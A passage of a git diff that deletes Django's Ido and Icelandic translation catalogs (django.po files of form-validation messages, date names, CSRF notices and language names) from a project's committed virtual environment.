havas " -"%(length)d)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "Sendez arkivo o markizez la vakua markbuxo, ne la du." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Kargez valida imajo. La arkivo qua vu kargis ne esis imajo od esis defektiva." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "" -"Selektez valida selekto. %(value)s ne esas un de la disponebla selekti." - -msgid "Enter a list of values." -msgstr "Skribez listo de datumi." - -msgid "Enter a complete value." -msgstr "" - -msgid "Enter a valid UUID." -msgstr "" - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr "" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(Okulta feldo %(name)s) %(error)s" - -msgid "ManagementForm data is missing or has been tampered with" -msgstr "" - -#, python-format -msgid "Please submit %d or fewer forms." -msgid_plural "Please submit %d or fewer forms." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "Please submit %d or more forms." -msgid_plural "Please submit %d or more forms." -msgstr[0] "" -msgstr[1] "" - -msgid "Order" -msgstr "Ordinar" - -msgid "Delete" -msgstr "Eliminar" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Koretigez duopligata datumi por %(field)s." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "Korektigez la duopligata datumi por %(field)s, qui mustas esar unika." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Korektigez la duopligata datumi por %(field_name)s qui mustas esar unika por " -"la %(lookup)s en %(date_field)s." - -msgid "Please correct the duplicate values below." -msgstr "Korektigez la duopligata datumi infre." - -msgid "The inline value did not match the parent instance." -msgstr "" - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "" -"Selektez valida selekto. Ita selekto ne esas un de la disponebla selekti." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "" - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" - -msgid "Clear" -msgstr "Vakuigar" - -msgid "Currently" -msgstr "Aktuale" - -msgid "Change" -msgstr "Modifikar" - -msgid "Unknown" -msgstr "Nekonocata" - -msgid "Yes" -msgstr "Yes" - -msgid "No" -msgstr "No" - -msgid "Year" -msgstr "" - -msgid "Month" -msgstr "" - -msgid "Day" -msgstr "" - -msgid "yes,no,maybe" -msgstr "yes,no,forsan" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d byte" -msgstr[1] "%(size)d bytes" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "p.m." - -msgid "a.m." -msgstr "a.m." - -msgid "PM" -msgstr "PM" - -msgid "AM" -msgstr "AM" - -msgid "midnight" -msgstr "noktomezo" - -msgid "noon" -msgstr "dimezo" - -msgid "Monday" -msgstr "Lundio" - -msgid "Tuesday" -msgstr "Mardio" - -msgid "Wednesday" -msgstr "Merkurdio" - -msgid "Thursday" -msgstr "Jovdio" - -msgid "Friday" -msgstr "Venerdio" - -msgid "Saturday" -msgstr "Saturdio" - -msgid "Sunday" -msgstr "Sundio" - -msgid "Mon" -msgstr "Lun" - -msgid "Tue" -msgstr "Mar" - -msgid "Wed" -msgstr "Mer" - -msgid "Thu" -msgstr "Jov" - -msgid "Fri" -msgstr "Ven" - -msgid "Sat" -msgstr "Sat" - -msgid "Sun" -msgstr "Sun" - -msgid "January" -msgstr "Januaro" - -msgid "February" -msgstr "Februaro" - -msgid "March" -msgstr "Marto" - -msgid "April" -msgstr "Aprilo" - -msgid "May" -msgstr "Mayo" - -msgid "June" -msgstr "Junio" - -msgid "July" -msgstr "Julio" - -msgid "August" -msgstr "Agosto" - -msgid "September" -msgstr "Septembro" - -msgid "October" -msgstr "Oktobro" - -msgid "November" -msgstr "Novembro" - -msgid "December" -msgstr "Decembro" - -msgid "jan" -msgstr "jan" - -msgid "feb" -msgstr "feb" - -msgid "mar" -msgstr "mar" - -msgid "apr" -msgstr "apr" - -msgid "may" -msgstr "may" - -msgid "jun" -msgstr "jun" - -msgid "jul" -msgstr "jul" - -msgid "aug" -msgstr "ago" - -msgid "sep" -msgstr "sep" - -msgid "oct" -msgstr "okt" - -msgid "nov" -msgstr "nov" - -msgid "dec" -msgstr "dec" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "Jan." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "Feb." - -msgctxt "abbrev. month" -msgid "March" -msgstr "Marto" - -msgctxt "abbrev. month" -msgid "April" -msgstr "Aprilo" - -msgctxt "abbrev. month" -msgid "May" -msgstr "Mayo" - -msgctxt "abbrev. month" -msgid "June" -msgstr "Junio" - -msgctxt "abbrev. month" -msgid "July" -msgstr "Julio" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "Ago." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "Sept." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "Okt." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "Nov." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "Dec." - -msgctxt "alt. month" -msgid "January" -msgstr "Januaro" - -msgctxt "alt. month" -msgid "February" -msgstr "Februaro" - -msgctxt "alt. month" -msgid "March" -msgstr "Marto" - -msgctxt "alt. month" -msgid "April" -msgstr "Aprilo" - -msgctxt "alt. month" -msgid "May" -msgstr "Mayo" - -msgctxt "alt. month" -msgid "June" -msgstr "Junio" - -msgctxt "alt. month" -msgid "July" -msgstr "Julio" - -msgctxt "alt. month" -msgid "August" -msgstr "Agosto" - -msgctxt "alt. month" -msgid "September" -msgstr "Septembro" - -msgctxt "alt. month" -msgid "October" -msgstr "Oktobro" - -msgctxt "alt. month" -msgid "November" -msgstr "Novembro" - -msgctxt "alt. month" -msgid "December" -msgstr "Decembro" - -msgid "This is not a valid IPv6 address." -msgstr "" - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "" - -msgid "or" -msgstr "o" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%d year" -msgid_plural "%d years" -msgstr[0] "%d yaro" -msgstr[1] "%d yari" - -#, python-format -msgid "%d month" -msgid_plural "%d months" -msgstr[0] "%d monato" -msgstr[1] "%d monati" - -#, python-format -msgid "%d week" -msgid_plural "%d weeks" -msgstr[0] "%d semano" -msgstr[1] "%d semani" - -#, python-format -msgid "%d day" -msgid_plural "%d days" -msgstr[0] "%d dio" -msgstr[1] "%d dii" - -#, python-format -msgid "%d hour" -msgid_plural "%d hours" -msgstr[0] "%d horo" -msgstr[1] "%d hori" - -#, python-format -msgid "%d minute" -msgid_plural "%d minutes" -msgstr[0] "%d minuto" -msgstr[1] "%d minuti" - -msgid "0 minutes" -msgstr "0 minuti" - -msgid "Forbidden" -msgstr "" - -msgid "CSRF verification failed. Request aborted." -msgstr "" - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your Web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" - -msgid "More information is available with DEBUG=True." -msgstr "" - -msgid "No year specified" -msgstr "La yaro ne specizigesis" - -msgid "Date out of range" -msgstr "" - -msgid "No month specified" -msgstr "La monato ne specizigesis" - -msgid "No day specified" -msgstr "La dio ne specizigesis" - -msgid "No week specified" -msgstr "La semano ne specizigesis" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "Ne esas %(verbose_name_plural)s disponebla" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"La futura %(verbose_name_plural)s ne esas disponebla pro ke %(class_name)s." -"allow_future esas False." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "" - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "" - -msgid "Directory indexes are not allowed here." -msgstr "Onu ne permisas direktorio indexi hike." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "" - -#, python-format -msgid "Index of %(directory)s" -msgstr "Indexi di %(directory)s" - -msgid "Django: the Web framework for perfectionists with deadlines." -msgstr "" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" - -msgid "The install worked successfully! Congratulations!" -msgstr "" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not configured any " -"URLs." -msgstr "" - -msgid "Django Documentation" -msgstr "" - -msgid "Topics, references, & how-to’s" -msgstr "" - -msgid "Tutorial: A Polling App" -msgstr "" - -msgid "Get started with Django" -msgstr "" - -msgid "Django Community" -msgstr "" - -msgid "Connect, get help, or contribute" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/is/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/is/LC_MESSAGES/django.mo deleted file mode 100644 index 951078f6..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/is/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/is/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/is/LC_MESSAGES/django.po deleted file mode 100644 index be73f3dd..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/is/LC_MESSAGES/django.po +++ /dev/null @@ -1,1302 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# db999e1e0e51ac90b00482cb5db0f98b_32999f5 <3ec5202d5df408dd2f95d8c361fed970_5926>, 2011 -# Hafsteinn Einarsson , 2011-2012 -# Jannis Leidel , 2011 -# Matt R, 2018 -# saevarom , 2011 -# saevarom , 2013,2015 -# Thordur Sigurdsson , 2016-2021 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2021-09-21 10:22+0200\n" -"PO-Revision-Date: 2021-11-18 21:19+0000\n" -"Last-Translator: Transifex Bot <>\n" -"Language-Team: Icelandic (http://www.transifex.com/django/django/language/" -"is/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: is\n" -"Plural-Forms: nplurals=2; plural=(n % 10 != 1 || n % 100 == 11);\n" - -msgid "Afrikaans" -msgstr "Afríkanska" - -msgid "Arabic" -msgstr "Arabíska" - -msgid "Algerian Arabic" -msgstr "" - -msgid "Asturian" -msgstr "Astúríska" - -msgid "Azerbaijani" -msgstr "Aserbaídsjíska" - -msgid "Bulgarian" -msgstr "Búlgarska" - -msgid "Belarusian" -msgstr "Hvítrússneska" - -msgid "Bengali" -msgstr "Bengalska" - -msgid "Breton" -msgstr "Bretónska" - -msgid "Bosnian" -msgstr "Bosníska" - -msgid "Catalan" -msgstr "Katalónska" - -msgid "Czech" -msgstr "Tékkneska" - -msgid "Welsh" -msgstr "Velska" - -msgid "Danish" -msgstr "Danska" - -msgid "German" -msgstr "Þýska" - -msgid "Lower Sorbian" -msgstr "Neðri sorbíska" - -msgid "Greek" -msgstr "Gríska" - -msgid "English" -msgstr "Enska" - -msgid "Australian English" -msgstr "Áströlsk enska" - -msgid "British English" -msgstr "Bresk enska" - -msgid "Esperanto" -msgstr "Esperanto" - -msgid "Spanish" -msgstr "Spænska" - -msgid "Argentinian Spanish" -msgstr "Argentínsk spænska" - -msgid "Colombian Spanish" -msgstr "Kólumbísk spænska" - -msgid "Mexican Spanish" -msgstr "Mexíkósk spænska" - -msgid "Nicaraguan Spanish" -msgstr "Níkaragva spænska" - -msgid "Venezuelan Spanish" -msgstr "Venesúelsk spænska" - -msgid "Estonian" -msgstr "Eistneska" - -msgid "Basque" -msgstr "Baskneska" - -msgid "Persian" -msgstr "Persneska" - -msgid "Finnish" -msgstr "Finnska" - -msgid "French" -msgstr "Franska" - -msgid "Frisian" -msgstr "Frísneska" - -msgid "Irish" -msgstr "Írska" - -msgid "Scottish Gaelic" -msgstr "Skosk gelíska" - -msgid "Galician" -msgstr "Galíska" - -msgid "Hebrew" -msgstr "Hebreska" - -msgid "Hindi" -msgstr "Hindí" - -msgid "Croatian" -msgstr "Króatíska" - -msgid "Upper Sorbian" -msgstr "Efri sorbíska" - -msgid "Hungarian" -msgstr "Ungverska" - -msgid "Armenian" -msgstr "Armenska" - -msgid "Interlingua" -msgstr "Interlingua" - -msgid "Indonesian" -msgstr "Indónesíska" - -msgid "Igbo" -msgstr "" - -msgid "Ido" -msgstr "Ido" - -msgid "Icelandic" -msgstr "Íslenska" - -msgid "Italian" -msgstr "Ítalska" - -msgid "Japanese" -msgstr "Japanska" - -msgid "Georgian" -msgstr "Georgíska" - -msgid "Kabyle" -msgstr "" - -msgid "Kazakh" -msgstr "Kasakska" - -msgid "Khmer" -msgstr "Kmeríska" - -msgid "Kannada" -msgstr "Kannadanska" - -msgid "Korean" -msgstr "Kóreska" - -msgid "Kyrgyz" -msgstr "" - -msgid "Luxembourgish" -msgstr "Lúxemborgíska" - -msgid "Lithuanian" -msgstr "Litháenska" - -msgid "Latvian" -msgstr "Lettneska" - -msgid "Macedonian" -msgstr "Makedónska" - -msgid "Malayalam" -msgstr "Malajalamska" - -msgid "Mongolian" -msgstr "Mongólska" - -msgid "Marathi" -msgstr "Maratí" - -msgid "Malay" -msgstr "" - -msgid "Burmese" -msgstr "Búrmíska" - -msgid "Norwegian Bokmål" -msgstr "Norskt bókmál" - -msgid "Nepali" -msgstr "Nepalska" - -msgid "Dutch" -msgstr "Hollenska" - -msgid "Norwegian Nynorsk" -msgstr "Nýnorska" - -msgid "Ossetic" -msgstr "Ossetíska" - -msgid "Punjabi" -msgstr "Púndjabíska" - -msgid "Polish" -msgstr "Pólska" - -msgid "Portuguese" -msgstr "Portúgalska" - -msgid "Brazilian Portuguese" -msgstr "Brasilísk portúgalska" - -msgid "Romanian" -msgstr "Rúmenska" - -msgid "Russian" -msgstr "Rússneska" - -msgid "Slovak" -msgstr "Slóvakíska" - -msgid "Slovenian" -msgstr "Slóvenska" - -msgid "Albanian" -msgstr "Albanska" - -msgid "Serbian" -msgstr "Serbneska" - -msgid "Serbian Latin" -msgstr "Serbnesk latína" - -msgid "Swedish" -msgstr "Sænska" - -msgid "Swahili" -msgstr "Svahílí" - -msgid "Tamil" -msgstr "Tamílska" - -msgid "Telugu" -msgstr "Telúgúska" - -msgid "Tajik" -msgstr "" - -msgid "Thai" -msgstr "Tælenska" - -msgid "Turkmen" -msgstr "" - -msgid "Turkish" -msgstr "Tyrkneska" - -msgid "Tatar" -msgstr "Tataríska" - -msgid "Udmurt" -msgstr "Údmúrt" - -msgid "Ukrainian" -msgstr "Úkraínska" - -msgid "Urdu" -msgstr "Úrdú" - -msgid "Uzbek" -msgstr "" - -msgid "Vietnamese" -msgstr "Víetnamska" - -msgid "Simplified Chinese" -msgstr "Einfölduð kínverska " - -msgid "Traditional Chinese" -msgstr "Hefðbundin kínverska" - -msgid "Messages" -msgstr "Skilaboð" - -msgid "Site Maps" -msgstr "" - -msgid "Static Files" -msgstr "" - -msgid "Syndication" -msgstr "" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "…" - -msgid "That page number is not an integer" -msgstr "Þetta síðunúmer er ekki heiltala" - -msgid "That page number is less than 1" -msgstr "Þetta síðunúmer er minna en 1" - -msgid "That page contains no results" -msgstr "Þessi síða hefur engar niðurstöður" - -msgid "Enter a valid value." -msgstr "Sláðu inn gilt gildi." - -msgid "Enter a valid URL." -msgstr "Sláðu inn gilt veffang (URL)." - -msgid "Enter a valid integer." -msgstr "Sláðu inn gilda heiltölu." - -msgid "Enter a valid email address." -msgstr "Sláðu inn gilt netfang." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" -"Settu inn gildan vefslóðartitil sem samanstendur af latneskum bókstöfum, " -"númerin, undirstrikum og bandstrikum." - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" -"Settu inn gildan vefslóðartitil sem má innihalda unicode bókstafi, " -"tölustafi, undirstrik og bandstrik." - -msgid "Enter a valid IPv4 address." -msgstr "Sláðu inn gilda IPv4 tölu." - -msgid "Enter a valid IPv6 address." -msgstr "Sláðu inn gilt IPv6 vistfang." - -msgid "Enter a valid IPv4 or IPv6 address." -msgstr "Sláðu inn gilt IPv4 eða IPv6 vistfang." - -msgid "Enter only digits separated by commas." -msgstr "Skrifaðu einungis tölur aðskildar með kommum." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "" -"Gakktu úr skugga um að gildi sé %(limit_value)s (það er %(show_value)s)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "" -"Gakktu úr skugga um að gildið sé minna en eða jafnt og %(limit_value)s." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "" -"Gakktu úr skugga um að gildið sé stærra en eða jafnt og %(limit_value)s." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Gildið má minnst vera %(limit_value)d stafur að lengd (það er %(show_value)d " -"nú)" -msgstr[1] "" -"Gildið má minnst vera %(limit_value)d stafir að lengd (það er %(show_value)d " -"nú)" - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Gildið má mest vera %(limit_value)d stafur að lengd (það er %(show_value)d " -"nú)" -msgstr[1] "" -"Gildið má mest vera %(limit_value)d stafir að lengd (það er %(show_value)d " -"nú)" - -msgid "Enter a number." -msgstr "Sláðu inn tölu." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "Gildið má ekki hafa fleiri en %(max)s tölu." -msgstr[1] "Gildið má ekki hafa fleiri en %(max)s tölur." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "Gildið má ekki hafa meira en %(max)s tugatölustaf (decimal places)." -msgstr[1] "" -"Gildið má ekki hafa meira en %(max)s tugatölustafi (decimal places)." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "Gildið má ekki hafa fleiri en %(max)s tölu fyrir tugabrotskil." -msgstr[1] "Gildið má ekki hafa fleiri en %(max)s tölur fyrir tugabrotskil." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" -"Skrár með endingunni „%(extension)s“ eru ekki leyfðar. Leyfilegar endingar " -"eru: „%(allowed_extensions)s“„." - -msgid "Null characters are not allowed." -msgstr "Núlltákn eru ekki leyfileg." - -msgid "and" -msgstr "og" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "%(model_name)s með þessi %(field_labels)s er nú þegar til." - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "Gildið %(value)r er ógilt." - -msgid "This field cannot be null." -msgstr "Þessi reitur getur ekki haft tómgildi (null)." - -msgid "This field cannot be blank." -msgstr "Þessi reitur má ekki vera tómur." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(model_name)s með þetta %(field_label)s er nú þegar til." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or 'month'. -#. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"%(field_label)s verður að vera einkvæmt fyrir %(date_field_label)s " -"%(lookup_type)s." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Reitur af gerð: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "„%(value)s“ verður að vera annaðhvort satt eða ósatt." - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "„%(value)s“ verður að vera eitt eftirtalinna: True, False eða None." - -msgid "Boolean (Either True or False)" -msgstr "Boole-gildi (True eða False)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "Strengur (mest %(max_length)s)" - -msgid "Comma-separated integers" -msgstr "Heiltölur aðgreindar með kommum" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" -"„%(value)s“ er ógilt dagsetningarsnið. Það verður að vera á sniðinu YYYY-MM-" -"DD." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "„%(value)s“ hefur rétt snið (YYYY-MM-DD) en dagsetningin er ógild." - -msgid "Date (without time)" -msgstr "Dagsetning (án tíma)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" -"„%(value)s“ hefur ógilt snið. Það verður að vera á sniðinu: YYYY-MM-DD HH:" -"MM[:ss[.uuuuuu]][TZ]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" -"„%(value)s“ hefur rétt snið (YYYY-MM-DD HH:MM [:ss[.uuuuuu]][TZ]) en það er " -"ógild dagsetning/tími." - -msgid "Date (with time)" -msgstr "Dagsetning (með tíma)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "„%(value)s“ verður að vera heiltala." - -msgid "Decimal number" -msgstr "Tugatala" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" -"„%(value)s“ er á ógildu sniði. Það verður að vera á sniðinu [DD] " -"[[HH:]MM:]ss[.uuuuuu]." - -msgid "Duration" -msgstr "Tímalengd" - -msgid "Email address" -msgstr "Netfang" - -msgid "File path" -msgstr "Skjalaslóð" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "„%(value)s“ verður að vera fleytitala." - -msgid "Floating point number" -msgstr "Fleytitala (floating point number)" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "Gildi „%(value)s“ verður að vera heiltala." - -msgid "Integer" -msgstr "Heiltala" - -msgid "Big (8 byte) integer" -msgstr "Stór (8 bæta) heiltala" - -msgid "Small integer" -msgstr "Lítil heiltala" - -msgid "IPv4 address" -msgstr "IPv4 vistfang" - -msgid "IP address" -msgstr "IP tala" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "„%(value)s“ verður að vera eitt eftirtalinna: None, True eða False." - -msgid "Boolean (Either True, False or None)" -msgstr "Boole-gildi (True, False eða None)" - -msgid "Positive big integer" -msgstr "Jákvæð stór heiltala" - -msgid "Positive integer" -msgstr "Jákvæð heiltala" - -msgid "Positive small integer" -msgstr "Jákvæð lítil heiltala" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Slögg (allt að %(max_length)s)" - -msgid "Text" -msgstr "Texti" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" -"„%(value)s“ er á ógildu sniði. Það verður að vera á sniðinu HH:MM[:ss[." -"uuuuuu]]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" -"„%(value)s“ er á réttu sniði (HH:MM[:ss[.uuuuuu]]), en það er ógild " -"dagsetning/tími." - -msgid "Time" -msgstr "Tími" - -msgid "URL" -msgstr "Veffang" - -msgid "Raw binary data" -msgstr "Hrá tvíundargögn (binary data)" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "„%(value)s“ er ekki gilt UUID." - -msgid "Universally unique identifier" -msgstr "" - -msgid "File" -msgstr "Skrá" - -msgid "Image" -msgstr "Mynd" - -msgid "A JSON object" -msgstr "JSON hlutur" - -msgid "Value must be valid JSON." -msgstr "Gildi verður að vera gilt JSON." - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "%(model)s hlutur með %(field)s %(value)r er ekki til." - -msgid "Foreign Key (type determined by related field)" -msgstr "Ytri lykill (Gerð ákveðin af skyldum reit)" - -msgid "One-to-one relationship" -msgstr "Einn-á-einn samband." - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "%(from)s-%(to)s samband" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "%(from)s-%(to)s sambönd" - -msgid "Many-to-many relationship" -msgstr "Margir-til-margra samband." - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "Þennan reit þarf að fylla út." - -msgid "Enter a whole number." -msgstr "Sláðu inn heiltölu." - -msgid "Enter a valid date." -msgstr "Sláðu inn gilda dagsetningu." - -msgid "Enter a valid time." -msgstr "Sláðu inn gilda tímasetningu." - -msgid "Enter a valid date/time." -msgstr "Sláðu inn gilda dagsetningu ásamt tíma." - -msgid "Enter a valid duration." -msgstr "Sláðu inn gilt tímabil." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "Fjöldi daga verður að vera á milli {min_days} og {max_days}." - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "Engin skrá var send. Athugaðu kótunartegund á forminu (encoding type)." - -msgid "No file was submitted." -msgstr "Engin skrá var send." - -msgid "The submitted file is empty." -msgstr "Innsend skrá er tóm." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"Skráarnafnið má mest vera %(max)d stafur að lengd (það er %(length)d nú)" -msgstr[1] "" -"Skráarnafnið má mest vera %(max)d stafir að lengd (það er %(length)d nú)" - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "Vinsamlegast sendu annað hvort inn skrá eða merktu í boxið, ekki bæði." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Halaðu upp gildri myndskrá. Skráin sem þú halaðir upp var annað hvort gölluð " -"eða ekki mynd." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "" -"Veldu gildan valmöguleika. %(value)s er ekki eitt af gildum valmöguleikum." - -msgid "Enter a list of values." -msgstr "Sláðu inn lista af gildum." - -msgid "Enter a complete value." -msgstr "Sláðu inn heilt gildi." - -msgid "Enter a valid UUID." -msgstr "Sláðu inn gilt UUID." - -msgid "Enter a valid JSON." -msgstr "Sláðu inn gilt JSON." - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(Falinn reitur %(name)s) %(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" - -#, python-format -msgid "Please submit at most %d form." -msgid_plural "Please submit at most %d forms." -msgstr[0] "Vinsamlegast sendu ekki meira en %d form." -msgstr[1] "Vinsamlegast sendu ekki meira en %d form." - -#, python-format -msgid "Please submit at least %d form." -msgid_plural "Please submit at least %d forms." -msgstr[0] "Vinsamlegast sendu að minnsta kosta %d form." -msgstr[1] "Vinsamlegast sendu að minnsta kosta %d form." - -msgid "Order" -msgstr "Röð" - -msgid "Delete" -msgstr "Eyða" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Vinsamlegast leiðréttu tvítekin gögn í reit %(field)s." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" -"Vinsamlegast lagfærðu gögn í reit %(field)s, sem verða að vera einstök." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Vinsamlegast leiðréttu tvítekin gögn í reit %(field_name)s sem verða að vera " -"einstök fyrir %(lookup)s í %(date_field)s." - -msgid "Please correct the duplicate values below." -msgstr "Vinsamlegast lagfærðu tvítöldu gögnin fyrir neðan." - -msgid "The inline value did not match the parent instance." -msgstr "Innra gildið passar ekki við eiganda." 